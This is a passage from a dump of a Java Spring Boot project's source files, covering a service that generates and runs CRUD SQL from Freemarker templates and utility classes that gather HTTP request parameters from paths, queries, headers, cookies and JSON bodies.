Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"page\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"count\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"one\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n    }\n\n    String getSQLText(DataSource dataSource,String tableName,String sqlType){\n        ClassInfo classInfo = CodeUtil.getClassInfo(dataSource,tableName);\n        HashMap<String, Object> map = Maps.newHashMap();\n        map.put(\"classInfo\",classInfo);\n        String sql = \"\";\n        try {\n            if(\"insert\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.insertSQL(map);\n            }\n            if(\"update\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.updateSQL(map);\n            }\n            if(\"delete\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.deleteSQL(map);\n            }\n            if(\"page\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.pageListSQL(map);\n            }\n            if(\"count\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.pageListCountSQL(map);\n            }\n            if(\"one\".equalsIgnoreCase(sqlType)){\n                sql = DbUtil.loadSQL(map);\n            }\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        } catch (TemplateException e) {\n            throw new RuntimeException(e);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return sql;\n    }\n\n    public Object doSQLProcess(ApiSql apiSql1, Map<String, Object> parameters) throws SQLException {\n        try {\n\n            Map<String, Object> params = parameters;\n//\t\t\tif(MapUtil.getStr(params,\"pageNumber\")!=null && MapUtil.getStr(params,\"pageSize\")!=null ){\n//\t\t\t\tInteger size = Convert.convert(Integer.class, params.get(\"pageSize\"));\n//\t\t\t\tInteger page = Convert.convert(Integer.class, params.get(\"pageNumber\"));\n//\t\t\t\tparams.put(\"pageSize\", size);\n//\t\t\t\tparams.put(\"pageNumber\", size*(page-1));\n//\t\t\t}\n            List<ApiSql> sqlList = Arrays.asList(apiSql1);\n            if (CollectionUtils.isEmpty(params) && !CollectionUtils.isEmpty(sqlList) && JSON.toJSONString(sqlList).contains(\"#\")) {\n                return Result.fail(\"Request parameter is not exists(请求入参不能为空)!\");\n            }\n            DataSource ds = DataSourcePool.get(apiSql1.getDatasourceId());\n            if (ds == null ) {\n                ds = DataSourcePool.get(main);\n            }\n            Connection connection = ds.getConnection();\n            // 是否开启事务\n            boolean flag = true;//config.getOpenTrans() == 1 ? true : false;\n            // 执行sql\n            List<Object> dataList = executeSql(connection, sqlList, params, flag);\n            // 执行数据转换\n            for (int i = 0; i < sqlList.size(); i++) {\n                ApiSql apiSql = sqlList.get(i);\n                Object data = dataList.get(i);\n                // 如果此单条sql是查询类sql，并且配置了数据转换插件\n                /*if (data instanceof Iterable && StringUtils.isNotBlank(apiSql.getTransformPlugin())) {\n                    log.info(\"transform plugin execute\");\n                    List<JSONObject> sourceData = (List<JSONObject>) (data); // 查询类sql的返回结果才可以这样强制转换，只有查询类sql才可以配置转换插件\n                    TransformPlugin transformPlugin = (TransformPlugin) PluginManager.getPlugin(apiSql.getTransformPlugin());\n                    Object resData = transformPlugin.transform(sourceData, apiSql.getTransformPluginParams());\n                    dataList.set(i, resData);// 重新设置值\n                }*/\n            }\n            Object res = dataList;\n            // 如果只有单条sql,返回结果不是数组格式\n            if (dataList.size() == 1) {\n                res = dataList.get(0);\n            }\n            // 设置缓存\n            /*if (StringUtils.isNoneBlank(apiSql1.getCachePlugin())) {\n                CachePlugin cachePlugin = (CachePlugin) PluginManager.getPlugin(apiSql1.getCachePlugin());\n                Api Api = new Api();\n                BeanUtil.copyProperties(config,Api, false);\n                cachePlugin.set(Api, params, res);\n            }*/\n            return res;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw e;\n        }\n    }\n\n    public ApiDataSource getDatasource(String id) {\n        ApiDataSource info = new ApiDataSource();\n        Record record= Db.use(main).findById( \"api_datasource\" , id);\n        return RecordUtil.recordToBean(record,ApiDataSource.class);\n    }\n\n\n    public List<Object> executeSql(Connection connection, List<ApiSql> sqlList, Map<String, Object> sqlParam, boolean flag) {\n        List<Object> dataList = new ArrayList<>();\n        try {\n            if (flag)\n                connection.setAutoCommit(false);\n            else\n                connection.setAutoCommit(true);\n            for (ApiSql apiSql : sqlList) {\n//\t\t\t\tSqlMeta sqlMeta = JdbcUtil.getEngine().parse(apiSql.getSqlText(), sqlParam);\n//\t\t\t\tObject data = JdbcUtil.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                Object data = JdbcUtil.executeSql(connection, apiSql.getText(), sqlParam);\n                dataList.add(data);\n            }\n            if (flag){\n                if(!connection.isClosed()){\n                    connection.commit();\n                }\n            }\n            return dataList;\n        } catch (Exception e) {\n            try {\n                if (flag)\n                    connection.rollback();\n            } catch (SQLException ex) {\n                ex.printStackTrace();\n            }\n            throw new RuntimeException(e);\n        } finally {\n            if (connection != null) {\n                try {\n                    connection.close();\n                } catch (SQLException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/util/DbUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.IdUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport com.alibaba.fastjson2.JSON;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.generator.util.FreemarkerUtil;\nimport io.github.wujun728.sql.SqlEngine;\nimport io.github.wujun728.sql.SqlMeta;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.sql.DataSource;\nimport java.io.IOException;\nimport java.sql.SQLException;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 见SQLUtil\n */\n@Slf4j\n@Deprecated\npublic class DbUtil {\n\n    public static String MASTER = \"master\";\n\n\n    public static Object executeSQL(DataSource ds, Map<String, Object> sqlParam, String deleteSQL)\n            throws SQLException {\n        SqlMeta sqlMeta = SqlEngine.getEngine().parse(deleteSQL, sqlParam);\n        Object datas = SqlEngine.executeSql(ds.getConnection(), sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n        System.err.println(JSON.toJSONString(datas));\n        return datas;\n    }\n\n    public static void initDb(String configName, String url, String username, String password) {\n        //ActiveRecordUtil.initActiveRecordPlugin(configName,url,username,password);\n    }\n\n    public static String updateSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String updateSQL = \" UPDATE ${classInfo.tableName}\\r\\n\" + \"        <set>\\r\\n\"\n                + \"            <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.columnName != \\\"id\\\" && fieldItem.columnName != \\\"AddTime\\\" && fieldItem.columnName != \\\"UpdateTime\\\" >\\r\\n\"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"}<#if fieldItem_has_next>,</#if>${r\\\"</if>\\\"}\\r\\n\"\n                + \"                </#if>\\r\\n\"\n                + \"            </#list>\\r\\n\"\n                + \"        </set>\\r\\n\"\n                + \"        WHERE \"\n                + \"            <#list classInfo.pkfieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.isPrimaryKey != false  > \"\n                + \"                     ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>   \"\n                + \"                </#if> \"\n                + \"                <#if fieldItem.isPrimaryKey == false  > \"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">  ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>  ${r\\\"</if>\\\"} \"\n                + \"                </#if> \"\n                + \"            </#list>\\r\\n\";\n        return FreemarkerUtil.genTemplateStr(data, \"update\", updateSQL);\n    }\n    public static String updateSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n//\t\t\t\t+ \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n//\t\t\t\t+ \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n\n    public static Map<String, Object> buildSqlParams(HashMap<String, Object> data, String sql,\n                                                     String params, String cuudFlag) throws IOException, TemplateException {\n        Map<String, Object> sqlParam = new HashMap<String, Object>();\n        String className = FreemarkerUtil.genTemplateStr(data, \"${classInfo.className?uncap_first}\");\n        String path = \"/api/\"+FreemarkerUtil.genTemplateStr(data, \"${classInfo.className?uncap_first}\")+\"/\"+cuudFlag;\n        sqlParam.put(\"id\", IdUtil.fastSimpleUUID());\n        sqlParam.put(\"refs\", DbUtil.MASTER);\n        sqlParam.put(\"path\", path);\n        sqlParam.put(\"name\", path);\n        // sqlParam.put(\"method\", \"method-value\");\n        sqlParam.put(\"params\", params);\n//        sqlParam.put(\"interfaceId\", className + \"-\"+cuudFlag);\n        sqlParam.put(\"bean_name\", className + \"-\"+cuudFlag);\n        sqlParam.put(\"datasource_id\", \"local\");\n        sqlParam.put(\"script_type\", \"SQL\");\n        sqlParam.put(\"script_content\", sql);\n        sqlParam.put(\"status\", \"ENABLE\");\n        sqlParam.put(\"group_name\", className);\n        sqlParam.put(\"sort\", \"0\");\n        sqlParam.put(\"extend_info\", \"extendInfo-value\");\n        sqlParam.put(\"open_trans\", \"1\");\n        sqlParam.put(\"relutl_type\", null);\n        sqlParam.put(\"creator\", \"admin\");\n        sqlParam.put(\"created_time\", DateUtil.now());\n        sqlParam.put(\"update_time\", DateUtil.now());\n        sqlParam.put(\"last_update\", \"admin\");\n        return sqlParam;\n    }\n\n\n\n    public static String insertSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String insertSQL = \" INSERT INTO ${classInfo.tableName}\\r\\n\"\n                + \"        <trim prefix=\\\"(\\\" suffix=\\\")\\\" suffixOverrides=\\\",\\\">\\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"                        <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">\\r\\n\"\n                + \"                        ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"                        ${r\\\"</if>\\\"}\\r\\n\"\n                + \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \"        </trim>\\r\\n\"\n                + \"        <trim prefix=\\\"values (\\\" suffix=\\\")\\\" suffixOverrides=\\\",\\\">\\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"                    <#--<#if fieldItem.columnName=\\\"addtime\\\" || fieldItem.columnName=\\\"updatetime\\\" >\\r\\n\"\n                + \"                    ${r\\\"<if test ='null != \\\"}${fieldItem.fieldName}${r\\\"'>\\\"}\\r\\n\"\n                + \"                        NOW()<#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"                    ${r\\\"</if>\\\"}\\r\\n\"\n                + \"                    <#else>-->\\r\\n\"\n                + \"                        <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">\\r\\n\"\n                + \"                        ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"}<#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"                        ${r\\\"</if>\\\"}\\r\\n\"\n                + \"                    <#--</#if>-->\\r\\n\"\n                + \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \"        </trim> \";\n        return FreemarkerUtil.genTemplateStr(data, \"insert\", insertSQL);\n    }\n\n    public static String insertSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"                <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                    <#if fieldItem.columnName != \\\"id\\\" >\\r\\n\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n                + \"                    </#if>\\r\\n\"\n                + \"                </#list>\\r\\n\"\n                + \"            </#if>\\r\\n\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n    public static String pageListSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String pageListSQL = \" SELECT  <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>   \\r\\n\"\n                + \"            <#list classInfo.fieldList as fieldItem >   \\r\\n\"\n                + \"                ${fieldItem.columnName} as ${fieldItem.fieldName} <#if fieldItem_has_next>,</#if>  \\r\\n\"\n                + \"            </#list>\\r\\n\" + \"        </#if>    \\r\\n\"\n                + \"        FROM ${classInfo.tableName}   \\r\\n\"\n                + \"        LIMIT ${r\\\"#{pageNumber}\\\"}, ${r\\\"#{pageSize}\\\"} \";\n        return FreemarkerUtil.genTemplateStr(data, \"pageListSQL\", pageListSQL);\n    }\n\n\n    public static String pageListCountSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String pageListCountSQL = \" SELECT count(1)\\r\\n\"\n                + \"        FROM ${classInfo.tableName} \";\n        return FreemarkerUtil.genTemplateStr(data, \"pageListCountSQL\", pageListCountSQL);\n    }\n\n\n\n    public static String loadSQL(HashMap<String, Object> data) throws IOException, TemplateException {\n        String loadSQL = \" SELECT  <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\\r\\n\"\n                + \"            <#list classInfo.fieldList as fieldItem >\\r\\n\"\n                + \"                ${fieldItem.columnName} as ${fieldItem.fieldName} <#if fieldItem_has_next>,</#if>\\r\\n\"\n                + \"            </#list>\\r\\n\"\n                + \"        </#if>  \\r\\n\"\n                + \"        FROM ${classInfo.tableName}\\r\\n\"\n                + \"        WHERE \"\n                + \"            <#list classInfo.pkfieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.isPrimaryKey != false  > \"\n                + \"                     ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>   \"\n                + \"                </#if> \"\n                + \"                <#if fieldItem.isPrimaryKey == false  > \"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">  ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>  ${r\\\"</if>\\\"} \"\n                + \"                </#if> \"\n                + \"            </#list>\\r\\n\";\n        return FreemarkerUtil.genTemplateStr(data, \"load\", loadSQL);\n    }\n    public static String loadSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"<#list classInfo.pkfieldList as fieldItem >\"\n                + \" <#if fieldItem.isPrimaryKey != false  >\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n                + \"</#if>\"\n                + \"</#list>\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n    @SuppressWarnings(\"unused\")\n    public static String deleteSQL(HashMap<String, Object> data) throws IOException, TemplateException, SQLException {\n        String deleteSQLTemplate = \" DELETE FROM ${classInfo.tableName} \\r\\n\"\n                + \"        WHERE \"\n                + \"            <#list classInfo.pkfieldList as fieldItem >\\r\\n\"\n                + \"                <#if fieldItem.isPrimaryKey != false  > \"\n                + \"                     ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>   \"\n                + \"                </#if> \"\n                + \"                <#if fieldItem.isPrimaryKey == false  > \"\n                + \"                    <if test=\\\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\\\">  ${fieldItem.columnName} = ${r\\\"#{\\\"}${fieldItem.fieldName}${r\\\"}\\\"} <#if fieldItem_has_next>AND</#if>  ${r\\\"</if>\\\"} \"\n                + \"                </#if> \"\n                + \"            </#list>\\r\\n\";\n        String deleteSQL = FreemarkerUtil.genTemplateStr(data, deleteSQLTemplate);\n        return deleteSQL;\n    }\n\n    public static String deleteSQLParams(HashMap<String, Object> data) throws IOException, TemplateException {\n        String paramsSQLTemplate = \" [ \\r\\n\"\n                + \"<#list classInfo.pkfieldList as fieldItem >\"\n                + \" <#if fieldItem.isPrimaryKey != false  >\"\n                + \"  {'name':'${fieldItem.fieldName}','type':'${fieldItem.columnType}','notNull':${fieldItem.notNull?string('true', 'false')},'maxLength':${fieldItem.columnSize?c}}<#if fieldItem_has_next>,</#if> \\r\\n\"\n                + \"</#if>\"\n                + \"</#list>\"\n                + \" ] \";\n        String params = FreemarkerUtil.genTemplateStr(data,  paramsSQLTemplate);\n        return params;\n    }\n\n\n    public static String printSQLParams(HashMap<String, Object> data)\n            throws IOException, TemplateException, SQLException {\n        String deleteSQLTemplate = \" Map<String, Object> sqlParam = new HashMap<String, Object>();\\r\\n\"\n                + \"<#list classInfo.pkfieldList as fieldItem >\" + \"<#if fieldItem.isPrimaryKey != false  >\"\n                + \"  sqlParam.put(\\\"${fieldItem.fieldName}\\\", \\\"${fieldItem.fieldName}-value\\\");\\r\\n\" + \"</#if>\"\n                + \"</#list>\";\n        FreemarkerUtil.genTemplateStr(data, \"delete\", deleteSQLTemplate);\n        deleteSQLTemplate = \" Map<String, Object> sqlParam = new HashMap<String, Object>();\\r\\n\"\n                + \"<#list classInfo.fieldList as fieldItem >\" + \"<#if fieldItem.isPrimaryKey == false  >\"\n                + \"  sqlParam.put(\\\"${fieldItem.fieldName}\\\", \\\"${fieldItem.fieldName}-value\\\");\\r\\n\" + \"</#if>\"\n                + \"</#list>\";\n        FreemarkerUtil.genTemplateStr(data, \"delete\", deleteSQLTemplate);\n        return null;\n    }\n\n\n    public static Record getTableRecord(DataSource ds, String tableName, Map params){\n        Record record = new Record();\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        table.getColumns().forEach(c->{\n            record.set(c.getName(), MapUtil.getStr(params,c.getName()));\n        });\n        return record;\n    }\n\n    public static String getPkNames(DataSource ds, String tableName){\n        Table table = MetaUtil.getTableMeta(ds,tableName);\n        return String.join(\",\",table.getPkNames());\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/util/HttpParamUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\n\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.CharsetUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.extra.servlet.ServletUtil;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\n\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.HashMap;\nimport java.util.LinkedHashMap;\nimport java.util.Map;\n\n/**\n * HTTP参数解析工具类\n * 整合路径参数、URL参数、表单、JSON Body、Header、Cookie等所有维度的参数解析\n */\npublic class HttpParamUtil {\n\n    /**\n     * 解析请求中所有维度的参数\n     * @param request HTTP请求对象\n     * @param pathParams 路径参数（如@PathVariable解析的参数）\n     * @return 合并后的所有参数\n     */\n    public static Map<String, Object> parseAllParams(HttpServletRequest request, Map<String, String> pathParams) {\n        Map<String, Object> allParams = new LinkedHashMap<>();\n\n        // 路径参数\n        if (MapUtil.isNotEmpty(pathParams)) {\n            allParams.putAll(pathParams);\n            printParamLog(\"路径参数\", pathParams);\n        }\n\n        // URL查询参数\n        Map<String, String> urlParams = ServletUtil.getParamMap(request);\n        if (MapUtil.isNotEmpty(urlParams)) {\n            allParams.putAll(urlParams);\n            printParamLog(\"URL查询参数\", urlParams);\n        }\n\n        // Header参数（添加前缀避免冲突）\n        Map<String, String> headerParams = ServletUtil.getHeaderMap(request);\n        if (MapUtil.isNotEmpty(headerParams)) {\n            Map<String, Object> headerMap = new HashMap<>();\n            headerParams.forEach((k, v) -> headerMap.put(\"header_\" + k.toLowerCase().replace(\"-\", \"_\"), v));\n            allParams.putAll(headerMap);\n            printParamLog(\"Header参数\", headerMap);\n        }\n\n        // Cookie参数（手动解析，兼容所有Hutool版本）\n        Map<String, String> cookieParams = getCookieMap(request);\n        if (MapUtil.isNotEmpty(cookieParams)) {\n            Map<String, Object> cookieMap = new HashMap<>();\n            cookieParams.forEach((k, v) -> cookieMap.put(\"cookie_\" + k.toLowerCase(), v));\n            allParams.putAll(cookieMap);\n            printParamLog(\"Cookie参数\", cookieMap);\n        }\n\n        // JSON请求体参数\n        Map<String, Object> bodyParams = parseJsonBody(request);\n        if (MapUtil.isNotEmpty(bodyParams)) {\n            allParams.putAll(bodyParams);\n            printParamLog(\"JSON Body参数\", bodyParams);\n        }\n\n        return allParams;\n    }\n\n    /**\n     * 解析JSON格式的请求体参数\n     */\n    private static Map<String, Object> parseJsonBody(HttpServletRequest request) {\n        Map<String, Object> bodyParams = new HashMap<>();\n        String contentType = request.getContentType();\n\n        if (StrUtil.isBlank(contentType) || !contentType.contains(\"application/json\")) {\n            return bodyParams;\n        }\n\n        try {\n            String bodyStr = readRequestContent(request);\n            if (StrUtil.isNotBlank(bodyStr)) {\n                bodyParams = JSONUtil.toBean(bodyStr, Map.class);\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(\"JSON请求体解析失败\", e);\n        }\n        return bodyParams;\n    }\n\n    /**\n     * 读取请求体内容（兼容所有Hutool版本）\n     */\n    private static String readRequestContent(HttpServletRequest request) throws IOException {\n        StringBuilder content = new StringBuilder();\n        // 手动获取请求编码，替代不存在的ServletUtil.getCharset方法\n        String charset = request.getCharacterEncoding();\n        if (StrUtil.isBlank(charset)) {\n            charset = CharsetUtil.UTF_8;\n        }\n\n        try (BufferedReader reader = request.getReader()) {\n            String line;\n            while ((line = reader.readLine()) != null) {\n                content.append(line);\n            }\n        }\n\n        String contentStr = content.toString();\n        return StrUtil.isBlank(contentStr) ? \"\" : new String(contentStr.getBytes(), Charset.forName(charset));\n    }\n\n    /**\n     * 手动解析Cookie为Map（替代Hutool不存在的getCookieMap方法）\n     */\n    private static Map<String, String> getCookieMap(HttpServletRequest request) {\n        Map<String, String> cookieMap = new HashMap<>();\n        Cookie[] cookies = request.getCookies();\n\n        if (cookies == null || cookies.length == 0) {\n            return cookieMap;\n        }\n\n        for (Cookie cookie : cookies) {\n            cookieMap.put(cookie.getName(), cookie.getValue());\n        }\n        return cookieMap;\n    }\n\n    /**\n     * 获取当前请求对象\n     */\n    public static HttpServletRequest getCurrentRequest() {\n        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();\n        if (attributes == null) {\n            throw new RuntimeException(\"未获取到HTTP请求上下文，请确认在请求线程中调用\");\n        }\n        return attributes.getRequest();\n    }\n\n    /**\n     * 打印参数解析日志\n     */\n    private static void printParamLog(String paramType, Map<?, ?> params) {\n        if (MapUtil.isNotEmpty(params)) {\n            System.out.println(String.format(\"解析%s：%s\", paramType, JSONUtil.toJsonStr(params)));\n        }\n    }\n\n    // 简化调用方法\n    public static Map<String, Object> parseAllParams(HttpServletRequest request) {\n        return parseAllParams(request, new HashMap<>());\n    }\n\n    public static Map<String, Object> parseCurrentRequestAllParams(Map<String, String> pathParams) {\n        return parseAllParams(getCurrentRequest(), pathParams);\n    }\n\n    public static Map<String, Object> parseCurrentRequestAllParams() {\n        return parseCurrentRequestAllParams(new HashMap<>());\n    }\n\n    /**\n     * 安全获取参数值（修复泛型兼容问题）\n     */\n    @SuppressWarnings(\"unchecked\")\n    public static <T> T getParam(Map<String, Object> allParams, String paramName, T defaultValue) {\n        if (MapUtil.isEmpty(allParams) || !allParams.containsKey(paramName)) {\n            return defaultValue;\n        }\n\n        Object value = allParams.get(paramName);\n        try {\n            return (T) value;\n        } catch (ClassCastException e) {\n            // 类型转换失败返回默认值\n            return defaultValue;\n        }\n    }\n\n    // 单独解析各类参数的快捷方法\n    public static Map<String, String> parseUrlParams() {\n        return ServletUtil.getParamMap(getCurrentRequest());\n    }\n\n    public static Map<String, String> parseHeaderParams() {\n        return ServletUtil.getHeaderMap(getCurrentRequest());\n    }\n\n    public static Map<String, String> parseCookieParams() {\n        return getCookieMap(getCurrentRequest());\n    }\n\n    public static Map<String, Object> parseJsonBodyParams() {\n        return parseJsonBody(getCurrentRequest());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/util/HttpRequestUtil.java",
    "content": "package io.github.wujun728.rest.util;\n\nimport cn.hutool.core.collection.CollectionUtil;\nimport cn.hutool.core.io.IORuntimeException;\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.CharsetUtil;\nimport cn.hutool.core.util.NumberUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONArray;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.google.common.collect.Maps;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.util.MultiValueMap;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\nimport org.springframework.web.util.UriComponentsBuilder;\n\nimport javax.servlet.ServletRequest;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.net.URLDecoder;\nimport java.util.*;\nimport java.util.regex.Pattern;\n\n/**\n * HTTP请求工具类\n * 整合路径参数、URL参数、表单、JSON Body、Header、Cookie、Session等所有维度的参数解析\n * 兼容原有老方法，新增统一参数解析能力\n *\n * @author wujun\n */\n@Slf4j\n@Component\npublic class HttpRequestUtil {\n\n    // 线程本地存储请求对象\n    private static final ThreadLocal<HttpServletRequest> requests = ThreadLocal.withInitial(() -> null);\n\n    // ==================== 核心新方法（整合所有参数解析能力） ====================\n\n    /**\n     * 解析请求中所有维度的参数（整合版核心方法）\n     * 包含：路径参数、URL参数、表单、JSON Body、Header、Cookie、Session、IP、URI等\n     *\n     * @param request      HTTP请求对象\n     * @param pathParams   路径参数（如@PathVariable解析的参数）\n     * @return 合并后的所有参数\n     */\n    public static Map<String, Object> parseAllParams(HttpServletRequest request, Map<String, String> pathParams) {\n        // 初始化参数Map，保持插入顺序\n        Map<String, Object> allParams = new LinkedHashMap<>();\n        setRequest(request);\n\n        // 1. 路径参数\n        if (MapUtil.isNotEmpty(pathParams)) {\n            allParams.putAll(convertNumberMap(pathParams));\n        }\n\n        // 2. URL查询参数\n        Map<String, Object> urlParams = getQueryString(request);\n        if (MapUtil.isNotEmpty(urlParams)) {\n            allParams.putAll(urlParams);\n        }\n\n        // 3. 表单参数\n        Map<String, Object> formParams = getParameterMap(request);\n        if (MapUtil.isNotEmpty(formParams)) {\n            allParams.putAll(formParams);\n        }\n\n        // 4. JSON Body参数\n        Map<String, Object> jsonParams = getHttpJsonParams(request);\n        if (MapUtil.isNotEmpty(jsonParams)) {\n            allParams.putAll(jsonParams);\n        }\n\n        // 5. 